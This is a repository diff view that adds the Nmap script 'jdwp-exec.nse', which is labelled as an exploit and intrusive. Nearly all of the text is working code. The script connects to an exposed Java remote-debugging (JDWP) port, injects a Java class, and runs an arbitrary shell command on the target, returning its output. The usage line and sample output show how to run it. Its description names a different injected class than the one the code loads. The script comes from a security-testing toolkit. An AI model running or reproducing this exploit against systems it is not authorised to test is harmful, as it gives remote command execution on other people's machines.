summaryrefslogtreecommitdiffstats
path: root/scripts/jdwp-exec.nse
diff options
context:
space:
mode:
Diffstat (limited to '')
-rw-r--r--scripts/jdwp-exec.nse97
1 files changed, 97 insertions, 0 deletions
diff --git a/scripts/jdwp-exec.nse b/scripts/jdwp-exec.nse
new file mode 100644
index 0000000..42b0015
--- /dev/null
+++ b/scripts/jdwp-exec.nse
@@ -0,0 +1,97 @@
+local io = require "io"
+local jdwp = require "jdwp"
+local stdnse = require "stdnse"
+local string = require "string"
+local nmap = require "nmap"
+local shortport = require "shortport"
+
+description = [[
+Attempts to exploit java's remote debugging port. When remote debugging
+port is left open, it is possible to inject java bytecode and achieve
+remote code execution. This script abuses this to inject and execute
+a Java class file that executes the supplied shell command and returns
+its output.
+
+The script injects the JDWPSystemInfo class from
+nselib/jdwp-class/ and executes its run() method which
+accepts a shell command as its argument.
+
+]]
+
+---
+-- @usage nmap -sT <target> -p <port> --script=+jdwp-exec --script-args cmd="date"
+--
+-- @args jdwp-exec.cmd Command to execute on the remote system.
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 2010/tcp open search syn-ack
+-- | jdwp-exec:
+-- | date output:
+-- | Sat Aug 11 15:27:21 Central European Daylight Time 2012
+-- |_
+
+author = "Aleksandar Nikolic"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit","intrusive"}
+
+portrule = function(host, port)
+ -- JDWP will close the port if there is no valid handshake within 2
+ -- seconds, Service detection's NULL probe detects it as tcpwrapped.
+ return port.service == "tcpwrapped"
+ and port.protocol == "tcp" and port.state == "open"
+ and not(shortport.port_is_excluded(port.number,port.protocol))
+end
+
+action = function(host, port)
+ stdnse.sleep(5) -- let the remote socket recover from connect() scan
+ local status,socket = jdwp.connect(host,port) -- initialize the connection
+ if not status then
+ stdnse.debug1("error, %s",socket)
+ return nil
+ end
+
+ -- read .class file
+ local file = io.open(nmap.fetchfile("nselib/data/jdwp-class/JDWPExecCmd.class"), "rb")
+ local class_bytes = file:read("a")
+ file:close()
+
+ -- inject the class
+ local injectedClass
+ status,injectedClass = jdwp.injectClass(socket,class_bytes)
+ if not status then
+ stdnse.debug1("Failed to inject class")
+ return stdnse.format_output(false, "Failed to inject class")
+ end
+ -- find injected class method
+ local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false)
+
+ if runMethodID == nil then
+ stdnse.debug1("Couldn't find run method")
+ return stdnse.format_output(false, "Couldn't find run method.")
+ end
+ -- set run() method argument
+ local cmd = stdnse.get_script_args(SCRIPT_NAME .. '.cmd')
+ if cmd == nil then
+ return stdnse.format_output(false, "This script requires a cmd argument to be specified.")
+ end
+ local cmdID
+ status,cmdID = jdwp.createString(socket,0,cmd)
+ if not status then
+ stdnse.debug1("Couldn't create string")
+ return stdnse.format_output(false, cmdID)
+ end
+ local runArgs = string.pack(">B I8", 0x4c, cmdID) -- 0x4c is object type tag
+ -- invoke run method
+ local result
+ status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,1,runArgs)
+ if not status then
+ stdnse.debug1("Couldn't invoke run method")
+ return stdnse.format_output(false, result)
+ end
+ -- get the result string
+ local _, stringID = string.unpack(">B I8", result)
+ status,result = jdwp.readString(socket,0,stringID)
+ return stdnse.format_output(status,result)
+end
+